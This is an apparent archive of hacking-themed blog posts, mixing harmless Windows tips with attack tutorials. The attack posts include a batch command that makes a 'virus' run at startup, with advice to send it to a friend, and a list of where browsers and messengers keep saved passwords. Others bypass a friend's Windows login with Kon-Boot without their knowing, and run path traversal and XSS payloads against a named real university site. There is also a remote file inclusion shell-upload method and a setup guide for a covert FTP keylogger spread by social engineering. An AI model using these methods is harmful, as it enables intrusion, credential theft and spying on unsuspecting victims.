Yuvalinux - Place to Learn Linux: Hacking

Showing posts with label Hacking. Show all posts

Tuesday, April 2, 2013

Lock/Unlock Computer With Pendrive

SYSKEY is a utility that encrypts the hashed password information in a SAM database in a Windows system using a 128-bit encryption key.

SYSKEY was an optional feature added in Windows NT 4.0 SP3. It was meant to protect against offline password cracking attacks so that the SAM database would still be secure even if someone had a copy of it. However, in December 1999, a security team from Bind View found a security hole in SYSKEY which indicates that a certain form of cryptanalytic attack is possible offline. A brute force attack then appeared to be possible.

Microsoft later collaborated with Bind View to issue a fix for the problem (dubbed the ‘Syskey Bug’) which appears to have been settled and SYSKEY has been pronounced secure enough to resist brute force attack.

According to Todd Sabin of the Bind View team RAZOR, the pre-RC3 versions of Windows 2000 were also affected.

So this is pretty cool, right? Well, I really like the idea of keeping this on Floppy so that it requires a floppy disk (a sort of 2 factor (hardware/software) authentication?).

Naturally I wanted to go a bit further and use this on a USB drive instead of storing to a Floppy. I can’t see myself carrying a floppy and a USB floppy drive around with me. After all, this provides another layer of security.

NOTE: I haven’t tested copying data from 1 USB to another USB to see if it works as a backup. This way you could lock up a USB drive as a spare if needed.

Here’s how to get this to work using a USB drive.

1. Insert your USB drive into your system and wait for it to be recognized and install any necessary drivers.

2. Fire up disk management and re-assign the drive letter it was given to “A”.

Start up disk management by clicking Start and typing diskmgmt.msc

Right-click the USB drive and choose to assign driver letter or path.

Assign it to letter “A”

Accept the warning message

Now your USB drive is “A”

3. Run Syskey and save encryption to USB Drive “A”

Click Start and type syskey followed by hitting Enter

Syskey launched; Click “Update”

Choose “Store Startup key on floppy disk” and click “OK”

You’ll be prompted to enter your diskette. Make sure your USB drive is inserted and writable.

4. Reboot and have fun. Don’t lose your USB disk! Also, to revert this, you can run syskey again and choose to store it locally instead of “on a floppy disk”.

Convert Text Message to Voice Message without using any Tool

Hello Guys,

Today I have something good for you and i.e convert text message to voice. By following these steps you can convert the text message to voice message.

Step1:Open the Notepad from Start>All Programs> Accessories.

Step2:Then copy-paste the following code in the text area.

Dim msg, sapi
msg=InputBox(“Enter your text for conversion: For Ex. Kyrion.”,”Kyrion.in: Text2Speech Converter”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak msg

Step3:Open File>Save as

Step4:Then in the Save As dialog box enter any name for the file with the extension .vbs and click on Save.

Step5:Then open the file that you had saved.

Step6:Enter the text which you want to convert to speech.

Step7:Click on OK button.

Now you will see the pure magic of Windows. After the Dialog box closes you will here what you had actually typed in the dialog box to Convert Text Into Speech In Windows by using notepad. You will be thrilled to know that your text has be converted in to speech.

Change View Mode of Magnifier in Windows 7

Hey Guys,
Windows 7/Vista has a very nice feature of MAGNIFIER (to Use press ‘WinKey’ and ‘+’) some times when we change the view mode to Docked, other views mode get disabled and in this tut I am going to let you know that how to enable those options.

1) Go into the Registry (Start -> Run -> type in Regedit and then click OK).

2) Navigate to the following key: HKEY_CURRENT_USER\Software\Microsoft\ScreenMagnifier

3) Under the MagnificationMode DWORD value, change that to either 2 or 3.

4) Close Registry Editor

5) Restart the Computer

How to Execute virus on Start up

How to Execute virus on Start up

Hello guys,

You must be familiar with viruses and probably you must be knowing how we can create them. Once the virus get executed it will show its impact but it will last till the system is turn on, If you will turn off the system all the process of the virus will also get killed.

So our requirement is to run our virus again even if the system get rebooted. So for that we will have to send our virus on start up. But we don’t want to send it manually instead of that we would like to send it with the help of batch file.

So let us take we are having a virus demo.exe.

Follow the following steps for sending it on Start up.

1. Open a Notepad file

2. Write down the following command

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v demo /t REG_SZ /d demo.exe

3. Now save the notepad file with any name say kyrion but extension should be bat. Means we will have to create a batch file eg: kyrion.bat

4. Now send kyrion.bat along with demo.exe virus to your friend. Whenever he will click on kyrion.bat file automatically demo.exe will reach at the start up.

5. Now the impact of the virus will also be visible after the restart of the system.

All Saved Password Location

Google Chrome:

Chrome Passwords are stored in a SQLite file the sites name and sites username is in clear text but the password is seeded in a Triple DES algorithm. The file is called Web Data and is stored in the following location

XP – C:\Documents and Settings\Username\Local Settings\Application Data\Google\Chrome\User Data\Default

Vista – C:\Users\Username\Appdata\Local\Google\Chrome\User Data\Default

Trillian:

Note- I have just realised the new version of trillian the passwords made be stored/encrypted differently

Trillian Passwords are stored in .ini files the first character of the password is encrypted with XOR with the key 243 then the password is converted into hex. The file is based on what the password is for so if it was icq it would be icq.ini (for new versions I think they are all stored in a file called accounts.ini or something similar if you open it up with notepad you will see all the data + the encrypted password). The files are stored in the following location:

XP (old version) – C:\Program Files\Trillian\users\

XP (new version) – C:\Documents and Settings\Username\Local Settings\Application Data\Trillian\user\global – I am not sure on exact but it is somewhere their

Vista (old version)- C:\Program Files\Trillian\users\

Vista (new version)- C:\Users\Username\Appdata\Roaming\Trillian\user\global

MSN /Windows Live Messenger:

MSN Messenger version 7.x: The passwords are stored under HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\C reds\[Account Name]

Windows Live Messenger version 8.x/9.x: The passwords are stored in the Credentials file, with entry name begins with “WindowsLive:name=”. They a set of Win API functions (Credential API’s) to store its’ security data (Credentials). These functions store user information, such as names and passwords for the accounts (Windows Live ID credentials). Windows Live ID Credential records are controlled by the operating system for each user and for each session. They are attached to the “target name” and “type”. If you are familiar with SQL you can think of target name and type as the primary key. Table below lists most frequently used fields in Windows Live ID Credential records.

Paltalk:

Paltalk Passwords are using the same password encryption algorithm. Paltalk passwords are stored in the registry. To encrypt the new password Paltalk looks at the serial number of the disk C:\ and performs a mix with the Nickname. The resulting string is then mixed again with the password and some other constants. The final string is then encoded and written to the registry.

AIM, ICQ and Yahoo Messenger passwords that are stored by Paltalk are encoded by BASE64 algorithm.

The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\Paltalk\[Account Name]

Google Talk:

Google Talk passwords are encoded/decoded using Crypto API. Encrypted Gmail passwords are stored by Google Talk in the registry under HKEY_CURRENT_USER\Software\Google\Google

Talk\Accounts\[Account Name]

Firefox:

The passwords are stored in one of the following filenames: signons.txt, signons2.txt, and signons3.txt (depends on Firefox version)

These password files are located inside the profile folder of Firefox, in [Windows Profile]\Application Data\Mozilla\Firefox\Profiles\[Profile Name]

Also, key3.db, located in the same folder, is used for encryption/decription of the passwords.

Yahoo Messenger 6.x:

The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager

(”EOptions string” value)

Yahoo Messenger 7.5 or later:

The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager – “ETS” value.

The value stored in “ETS” value cannot be recovered back to the original password.

AIM:

AIM uses Blowfish and base64 algorithms to encrypt the AIM passwords.

448-bit keyword is used to encrypt the password with Blowfish. The encrypted string is then encoded using base64. The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\America Online\AIM6\Passwords
Filezilla:

Passwords are stored in a .xml file located in Filezilla on appdata their is sources for this

Internet Explorer 4.00 – 6.00:

The passwords are stored in a secret location in the Registry known as the “Protected Storage”.

The base key of the Protected Storage is located under the following key:

“HKEY_CURRENT_USER\Software\Microsoft\Protected Storage System Provider”.

You can browse the above key in the Registry Editor (RegEdit), but you won’t be able to watch the passwords, because they are encrypted.

Also, this key cannot easily moved from one computer to another, like you do with regular Registry keys.

Internet Explorer 7.00 – 8.00:

The new versions of Internet Explorer stores the passwords in 2 different locations.

AutoComplete passwords are stored in the Registry under HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2.

HTTP Authentication passwords are stored in the Credentials file under Documents and Settings\Application Data\Microsoft\Credentials , together with login passwords of LAN computers and other passwords.

Opera:

The passwords are stored in wand.dat filename, located under [Windows Profile]\Application Data\Opera\Opera\profile

Outlook Express (All Versions):

The POP3/SMTP/IMAP passwords Outlook Express are also stored in the Protected Storage, like the passwords of old versions of Internet Explorer.

Outlook 98/2000:

Old versions of Outlook stored the POP3/SMTP/IMAP passwords in the Protected Storage, like the passwords of old versions of Internet Explorer.

Outlook 2002-2008:

All new versions of Outlook store the passwords in the same Registry key of the account settings.

The accounts are stored in the Registry under HKEY_CURRENT_USER\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\[Profile Name]\9375CFF0413111d3B88A00104B2A6676\[Account Index]

If you use Outlook to connect an account on Exchange server, the password is stored in the Credentials file, together with login passwords of LAN computers.

ThunderBird:

The password file is located under [Windows Profile]\Application Data\Thunderbird\Profiles\[Profile Name]

You should search a filename with .s extension.

Digsby:

The main password of Digsby is stored in [Windows Profile]\Application Data\Digsby\digsby.dat

All other passwords are stored in Digsby servers.

Facebook Tips & Tricks

Facebook Tips & Tricks

Hello Guys,

This post of mine is just to make yourself easy with handling your social life. Here I will be telling you various shortcuts for Facebook in Google Chrome & Mozilla Firefox browser.

Chrome    Firefox              Facebook
Alt+m   Shift+Alt+m   New Message
Alt+0      Shift+Alt+0      Help Center
Alt+1      Shift+Alt+1      Home Page
Alt+2      Shift+Alt+2      Profile Page
Alt+3      Shift+Alt+3      Manage Friend List
Alt+4      Shift+Alt+4      Message List
Alt+5      Shift+Alt+5   Notification Page
Alt+6      Shift+Alt+6    Account Settings
Alt+7      Shift+Alt+7    Privacy Settings
Alt+8      Shift+Alt+8    Facebook Fan Page
Alt+9      Shift+Alt+9   Facebook Terms
Alt+?      Shift+Alt+?       Search Box

Enjoy and Have Fun!!!

Chakravyuh Online Event Schedule

Dear Warrior,

We express our heartiest gratitude to you for becoming a part of Chakravyuh!

Hereby in this email, we would like to update you about the schedule of Chakravyuh.

30^th March 2012 1700 Hrs: Registration Closes

31^st March 2012 1900 Hrs: Chakravyuh Online Event Starts for 60 minutes

31^st March 2012 2000 Hrs: Chakravyuh Online Event Closes

1^st April 2012 1800 Hrs: Online Event Result Declaration

Stay tuned on www.chakravyuh.org

Special Instructions

· Prepare of the following topics for Online Event

o Web Hacking

o System Hacking

o Network Hacking

o Reverse Engineering

o Digital Forensics

· Keep your Chakravyuh Login Password with you all the time

· Forgot Password functionality will not be available during the Online Event

· Be prepared with a High Speed Internet Connection for Online Event

All the best!!!

How to Search Quickly into your System

How to Search Quickly into your System

In our computer it takes lots of time to search a file or folder, and for that also we have to dig out many folders. So in this tutorial I am going to post this article by which we can save our time while searching for a particular file or folder. This trick will save the all sub directory and file names in text file without browsing the drive or folder.

At first open command Prompt and then browse the folder you want to analyze the sub directories and files by using cd commands.

For Example: If you want navigate to E:\hack

then in command prompt type e: and then cd hack

1. Now if you want to scan all the sub directories and files which are present inside these sub directories then type the following command

dir *.* /s /b > list.txt

2. If you want to see only pdf files then use this command

dir *.pdf /s /b > list.txt

3. In a similiar way, if you want to search only microsoft word files then use this command

dir *.doc /s /b > list.txt

4. Likewise if you want search a file with particular name say address.doc

dir address.* /s /b > list.txt

or

dir address.doc /s /b > list.txt

How to Lock Desktop Icons

How to Lock Desktop Icons

In this tutorial we’ll see how we can lock our desktop icons so that no one can make any changes to the icons that we have arranged in the desktop. Generally it happens when someone comes to our system and mess up the arrangement.

So for that open Registry and go to the following path

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer.

Right-click in the right pane and select New, DWORD Value name NoSaveSettings and press the Enter key. Right-click on the new NoSaveSettings item and select Modify. Enter 1 in the Value data box. After this, whenever you restart Windows, your settings will return to their current state.

How to Hide a folder without any third party Software

Step 1 : Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}

For eg,
If u’ve a folder with name “Anything”
press F2,
then type, “Anything.{645FF040-5081-101B-9F08-00AA002F954E}”
and Press Enter.

Step 2 : To get back to its original form,
Make a new batch file with any name and type
“ren Anything.{645FF040-5081-101B-9F08-00AA002F954E} Anything” .

How to Bypass Windows Authentication

Guys you must be knowing how to break the password of Windows by using some Live OS. But using Live OS is bit complicated and sometimes they take a lot of time to crack a password. So in this tutorial you will see how to bypass Windows OS so that you will not indulge in complicated situation and can save your time.

At first we need a software called Kon-Boot and we will have to make either CD or Pendrive bootable with this software. Kon-boot comes with many versions and but i am using Kon-boot v1.1 and below are the steps for making CD or Pendrive bootable.

1. Insert your CD into your CD Rom or Plug in your Pendrive into your system.

2. Open Kon-Boot v1.1 folder.

3. For making Bootable CD go to KONCD and burn the image file.

4. For creating bootable pendrive go to KONUSB and double click on Konbootintall.exe and you will get a command prompt. Type the name of your Pendrive’s drive letter(i.e g: or h:).

Thats all you have to do. Now your CD and Pendrive will get bootable.

Restart the system which you want to bypass, insert the Bootable CD of Konboot or Plugin your Pendrive. Make sure in Boot priority CD or USB should be in the first option. If it is not there then hit F12 at the BIOS screen and choose CD or USB in the first option. Now the system would start with the help of konboot and you will get this screen.

Now here choose Konboot v1.1 option

Click Enter after getting the following screen.

Kon boot will modify the memory to let you login without knowing a password in windows.

In windows XP it will directly show Desktop without showing any login screen. For Windows7 it will show login Screen but it doesn’t mean that you need a particular password for it. Just type any random password or simply hit enter without giving any password and after that you will get the Desktop. Now you can take the control of the Whole system, you can modify anything, copy data into your pendrive etc. Now next time when your friend login he/she will get the same login screen with same password. It means your friend will not get any kind notification about his/her system which has been hacked by you.

Konboot can also bypass the authentication process of Linux (but not for all distros) and MAC OS.

Access Banned Torrent and Video Sites in India

Access Banned Torrent and Video Sites in India

Some of the ISPs in India have already started blocking torrent websites (The PirateBay, Torrentz, etc.) as well as some legal video sharing websites (like Vimeo, DailyMotion). Nowadays, when someone tries to access these websites, he/she may receive a rather annoying message:

Currently, two of the Indian ISPs – namely Reliance and Airtel – have blocked specific websites. The reason for blocking is yet unclear but the citing of a Court order in the display message gives us a clue. The US Government has already blocked websites in the past on grounds of copyright infringement and it is certain that other countries have also started to follow suit. Torrents have regularly provided users access to copyrighted content worldwide; particularly new movie releases which could be downloaded through torrents.

However, websites like Vimeo and DailyMotion are legal video sharing websites like Youtube and the reason is still unclear as to why these websites have been blocked as per “Court Orders”. In the coming days, we might also start seeing other service providers blocking number of websites on Governmental issues.

There is, however, a way users can still access these blocked websites legally without using a proxy. The trick lies in the protocol used for accessing the website. The sites being blocked in India are generally done so by using filters through the network that prevent the sites from opening. More often, these filters generally work on normal channels and don’t block secured websites.

You can access the Secured Version of the blocked websites using “https” instead of “http” in the address bar. When you open the blocked site with “https”, the website opens without any errors and you get a fully functional website.

Most people try to access these websites via Proxy; but using a proxy has its own disadvantages. The proxy network that a person is using maybe insecure. Moreover, proxys slow down network access speeds considerably. This is because all requests are channeled through the proxy server which handles a large number of clients, which causes slow response times.

Using https does not need a proxy and sites can be opened directly and response times are also quick as it is not channeled through any public server.

Disclaimer: We DO NOT endorse any kind of piracy or copyrighted material. This article is strictly for educational and informational purposes only.

Working Of Zenmap ( Network Scanning Tool )

Zenmap is the official graphical user interface (GUI) for the Nmap Security Scanner. It is a multi-platform, free and open-source application designed to make Nmap easy for beginners to use while providing advanced features for experienced Nmap users. Frequently used scans can be saved as profiles to make them easy to run repeatedly. A command creator allows interactive creation of Nmap command lines. Scan results can be saved and viewed later. Saved scans can be compared with one another to see how they differ. The results of recent scans are stored in a searchable database.

CHOSEN SETUP

As Zenmap runs on a windows/Linux so i chose the following setup :

Windows OS – Windows 7 installed on a system

Version- Zenmap 6 (http://nmap.org/dist/nmap-6.00-setup.exe)

Scanning

Begin Zenmap by typing zenmap in a terminal or by clicking the Zenmap icon in the desktop environment.

Firstly, select the Target. Target could be any domain name or the IP Address, so right now my target is 10.0.0.2.

Profile

Profile combo box. Profiles exist for several common scans. After selecting a profile the Nmap command line associated with it is displayed on the screen. Of course, it is possible to edit these profiles or create new ones.

It is also possible to type in an Nmap command and have it executed without using a profile. Just type in the command and press return or click “Scan”.

In Zenmap there are 10 Types of Profile :

a. INTENSE SCAN

Command = nmap -T4 -A 10.0.0.2

Description = An intense, comprehensive scan. The -A option enables OS detection (-O), version detection (-sV), script scanning (-sC), and traceroute (–traceroute). Without root privileges only version detection and script scanning are run. This is considered an intrusive scan.

SCAN RESULT TABS

Each scan window contains five tabs which each display different aspects of the scan results. They are:

a) Nmap Output

b) Ports / Hosts

c) Topology

d) Host Details

Each of these are discussed in this section:

NMAP OUTPUT

The “Nmap Output” tab is displayed by default when a scan is run. It shows the familiar Nmap terminal output.

PORT/HOSTS

When a service is selected, the “Ports / Hosts” tab shows all the hosts which have that port open or filtered. This is a good way to quickly answer the question “What computers are running HTTP?”

TOPOLOGY

The “Topology” tab is an interactive view of the connections between hosts in a network.

HOST DETAILS

The “Host Details” tab breaks all the information about a single host into a hierarchical display. Shown are the host’s names and addresses, its state (up or down), and the number and status of scanned ports. The host’s uptime, operating system, OS icon. When no exact OS match is found, the closest matches are displayed.

Wednesday, March 27, 2013

Directory Transversal Vulnerability - Explained thoroughly

Directory Transversal Vulnerability - Explained thoroughly

Before reading this post, quickly read out http://en.wikipedia.org/wiki/Directory_traversal. You must be very confused now (after reading it). Lets understand and apply what you have just read.
What is root directory of web server ?
It is a specific directory on server in which the web contents are placed and can be seen by website visitors. The directories other that root may contain any sensitive data which administrator do not want visitors to see. Everything accessible by visitor on a website is placed in root directory. The visitor can not step out of root directory.

What does ../ or ..\ (dot dot slash) mean ?

The ..\ instructs the system to go one directory up.
For example, we are at this location C:\xx\yy\zz. On typing ..\ , we would reach at C:\xx\yy.
Again on typing ..\ , we would rech at C:\xx

Lets again go at location C:\xx\yy\zz. Now suppose we want to access a text file abc.txt placed in folder xx. We can type ..\..\abc.txt . Typing ..\ two times would take us two directories up (that is to directory xx) where abc.txt is placed.

Note : Its ..\ on windows and ../ on UNIX like operating syatem.

What is Directory Transversel exploit ?

Directory Traversal is an HTTP exploit which allows attackers to access restricted directories and execute commands outside of the web server's root directory.
The goal of this attack is to access sensitive files placed on web server by stepping out of the root directory using dot dot slash .

The following example will make clear everything

Visit this website vulnerable to directory transversal attack

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=notification.php

This webserver is running on UNIX like operating system. There is a directory 'etc' on unix/linux which contains configration files of programs that run on system.Some of the files are passwd,shadow,profile,sbin placed in 'etc' directory.
The file etc/passwd contain the login names of users and even passwords too.

Lets try to access this file on webserver by stepping out of the root directory. Carefully See the position of directories placed on the webserver. We do not know the actual names and contents of directories except 'etc' which is default name , So I have marked them as A,B,C,E or whatever.

We are in directory in F accessing the webpages of website.

Lets type this in URL field and press enter
http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=etc/passwd
This will search the directory 'etc' in F. But obviously, there is nothing like this in F, so it will return nothing

Now type http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../etc/passwd
Now this will step up one directory (to directory E ) and look for 'etc' but again it will return nothing.

Now type http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../etc/passwd
Now this will step up two directories (to directory D ) and look for 'etc' but again it will return nothing.

So by proceeding like this, we we go for this URL
http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../../../../etc/passwd

It takes us 5 directories up to the main drive and then to 'etc' directory and show us contents of 'passwd' file.

To understand the contents of 'passwd' file, click here

You can also view etc/profile ,etc/services and many others files like backup files which may contain sensitive data. Some files like etc/shadow may be not be accessible because they are accessible only by privileged users.
Its not very important that how can you hack/deface a website using this vulnerability but its important that you understand what is it, how to find and fix it.
Note- If proc/self/environ would be accessible, you might upload a shell on server which is called as Local File Inclusion.

Remote File Inclusion Website Hacking

Remote File Inclusion Website Hacking

Before starting this tutorial, I would like to tell you about a piece of code called as shell. There are many shells available . Lets consider a shell known as c99 shell. First download it from here.
Now signup for a account on any free web hosting site . Say 110mb.com. Now sign into your account,go to Filemanager, upload some files and then upload c99 shell here. Now just log out and visit the URL of shell you uploaded.

http://username.110mb.com/shell.php

and you would find that you can manage all your directories and files without logging in your account,that is without entering your password anywhere.

Both images are showing the filemanager, In Ist I am accesing by signing into my account and 2nd just by accessing shell without logging into.

I just wanted to show you that Imagine if anybody somehow upload this kind of shell on your server, how deadly it can be. Here comes the concept of Remote File Inclusion into picture.

Note:Your account might be suspended after uploading such shells.

What is Remote File Inclusion ?

As clear from the name, Remote File inclusion means 'including a remote file' . RFI is a vulneribility found in websites that allow attackers to include a remote file on the webserver. This may lead to remote code execution and complete compromise of system.

How to perform attack ?

Step 1. Upload a shell in text format on your web hosting site. That is just copy the code of shell and save it as text file and upload it. Note down the complete path of your shell.
Step 2. Search for the vulnerable site using google dorks. like
inurl:index.php?id=
inurl:index.php?page=
You can use automated tools for the same.
Step3. Lets say you got any site like
http://www.victim.com/index.php?page=anything

Replace this URL by http://www.victim.com/index.php?page=http://yoursite.com/yourshell.txt?

Your shell might have uploaded on server if the victim's site is vulnerable. Now you can do any thing with victim's site or may be even with other sites running on same webserver by simply accessing your shell.

Possible Countermeasures :
1. Strongly validate the user's input.
2. Disable allow_url_fopen and allow_url_include in php.ini .

Keyloggers- The basics

Keyloggers- The basics

What is Keylogger ?
Keylogger as clear form the name , is something that records the keystrokes. In simple words, it records evrything you type and keeps saving the data recorded it in a text file. A keylogger is meant to be used for positive purposes like spying on your own computer or on your childern's computer. But these are mostly used for malicious purposes by attackers to steal sensitive data of victims. This sensitive data might be anything that victim types like his email ID,password,banking details etc.

A keylogger might be a hardware or software.

Hardware Keylogger - A hardware keylogger is something like normal USB drive that is plugged between keyboard plug and USB socket. It has an inbuilt memory that records all the keystrokes. The obvious limitation of hardware keyloggers is that there physical presence can be easily detected.

Software Keylogger - A software keylogger can be of futher two types.

Local Keylogger- A local keylogger is a software that is installed on a computer,records the keystrokes typed and save them into a text file on local machine. An attacker needs to have a physical access to victim's computer to steal data through local keyloggers.

Remote Keylogger- A remote keylogger is exactly same as local keylogger. But one addtional thing,it does that is it keep sending the textfiles in which data has been recorded to a remote location as specified the user. The remote location can be your email ID,ftp account etc.So Attacker doesn't need to have physical access on victim's computer.

Methodology of attacker in using remote keylogger :-

1. Attacker creates a malacious executable file of size in kbs.

2.Attacker might hide this exe file behind any genuine file like a song or image.. Attacker gives this file to victim and victim is supposed to double click on it.

3. As the victim clicks it, the keylogger gets installed in victim's PC without his knowledege. It secretly

keeps saving the text typed or keystrokes hit by the victim (and may be a lots of other information of victim activites). As the victim connects to internet, those files are sent to remote location as configured by attacker.

Keyloggers- The basics

A keylogger might be a hardware or software.

Methodology of attacker in using remote keylogger :-

1. Attacker creates a malacious executable file of size in kbs.

2.Attacker might hide this exe file behind any genuine file like a song or image.. Attacker gives this file to victim and victim is supposed to double click on it.

3. As the victim clicks it, the keylogger gets installed in victim's PC without his knowledege. It secretly

How to Configure Remote Keylogger

How to Configure Remote Keylogger

Keyloggers are the best to spy upon anyone but many beginners find problem in using remote keyloggers . So in this post , I will be showing you the same.Remote keyloggers are very easy to use in comparison to trojans where the concepts like IP addresses, port forwarding are involved.

Requirements :-

1. Download a free remote keylogger 'Ardamax' with its serial keyhere. Password:explorehacking.com. Antivrus might detect it as a virus but dont worry.

2. Signup at any webhosting site supporting FTP (file transfer protocol) and note down your ftp host name.

For example , I have signed up at www.my3gb.com and ftp host name is username.my3gb.com .

We are actually gonna create an executable(exe) file, which would be given to victim and he is supposed to run it. The keylogger would be installed on his computer and we would be getting automatically keylogs/screenshots in our web hosting site ftp account.

I have added the self-explanatory pictures, follow them.

After entering registration key, click on Remote Installation
option . If it still says that its unregistered version, restart computer.

Keylogger would run invisibly on victim's computer. Victim have would have to
press Ctrl+Shift+Alt+H and enter the password you have set to make it visible.

FTP hostname may be different for different web hosting sites. Mostly it is username.webhostingsite.com . You can specify any remote folder in which you wish to get logs. After filling all details, click on 'Test' and you would get any test file to make sure that information you filled is valid and FTP connection is okay.

You can change icon of exe file (keylogger engine) if you wish

Just go through the Summary information and click finish.

So you have got an exe file which is detectable as a virus by antiviruses. Now use social engineering to make victim to click on this exe file and hopefully you would start getting the keylogs and screenshots in your account. You cant send it as an attachment in email ID. The good way is to uplaod it on any uploading site and give him the dowloading link.

Have fun :)

How to Configure Remote Keylogger

1. Download a free remote keylogger 'Ardamax' with its serial keyhere. Password:explorehacking.com. Antivrus might detect it as a virus but dont worry.

2. Signup at any webhosting site supporting FTP (file transfer protocol) and note down your ftp host name.

For example , I have signed up at www.my3gb.com and ftp host name is username.my3gb.com .

I have added the self-explanatory pictures, follow them.

After entering registration key, click on Remote Installation
option . If it still says that its unregistered version, restart computer.

Keylogger would run invisibly on victim's computer. Victim have would have to
press Ctrl+Shift+Alt+H and enter the password you have set to make it visible.

You can change icon of exe file (keylogger engine) if you wish

Just go through the Summary information and click finish.

Have fun :)

Cross Site Scripting- executing client side scripts

I hope you have already heard about Cross Site Scripting known as XSS. Just go through this first en.wikipedia.org/wiki/Cross-site_scripting . I have focussed on finding an XSS hole and bypssing a filter.

XSS is a web application vulnerability that occurs due to improper or no filteration of user's input . It enables the malicious attackers to inject client-side script into web pages. This is not something with which you are gonna deface a website or break in admin panel. This bug can be dangerous for users if found on any online forms . Basically you can do mainly two things that are stealing user sessions and injecting iframes. Actually this bug is basically exploited to harm the visitors rather than administrators.Okay Lets learn the approach to find XSS bugs.

You might have tried finding an XSS hole by inserting a script like this <script>alert('XSS')</script> in Search fields and hoping for a box to popup saying XSS. But its not always the way to find a XSS bug.

This example will make you everything clear.

Okay, go to this URL
http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=Overview

Lets Replace 'Overview' with any keyword . Say 'test' and hit enter

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=test

Now check the source code of page and search for keyword 'test' by using Ctrl+F and we can find that in the code.

Carefully, see where it got inserted in the source code
<title>Chitkara Educational Trust > test</title>

Now lets replace the 'test' with </title><h1>XSS</h1> and see what happens

Note- <h1> It is the html heading tag </h1>

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><h1>XSS</h1>
We can see the keyword 'XSS' displayed on the webpage.

Lets again see the page source

We entered </title> to complete the title tag ( <title>) and <h1>XSS</h1> is the actually html tag we wanted to see on the page.
I hope it was a simple part and is clear to you.

Now Lets try to execute a javascript code <script>alert('XSS')</script>. A popup message box saying XSS should appear on the webpage.
Lets go to this URL

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><script>alert('XSS')</script>

But Nothing Happens !!!

Now check the source code again
See the slashes ( \ ) automatically inserted before the single quotes ( ' ) ,we entered. Obviously,due to this our code didn't execute.This is a kind of filter that we need to bypass .

Here we will be using a javascript built in function called String.FromCharCode() that is used to encode/decode strings. Now both these codes
<script>alert('XSS')</script> and <script>alert(String.fromCharCode(88, 83, 83))</script>
has the same function but we can see that THERE ARE NO QUOTES IN SECOND CODE.

Note: 88 and 83 are ASCII values for X and S respectively. Visit this http://www.asciitable.com for more.

Finally, try this

http://www.chitkara.edu.in/chitkara/esl.php?page=overview.php&sitetitle=</title><script>alert(String.fromCharCode(88, 83, 83))</script>

Yes, it worked.

So finally we have managed to execute a javascript :)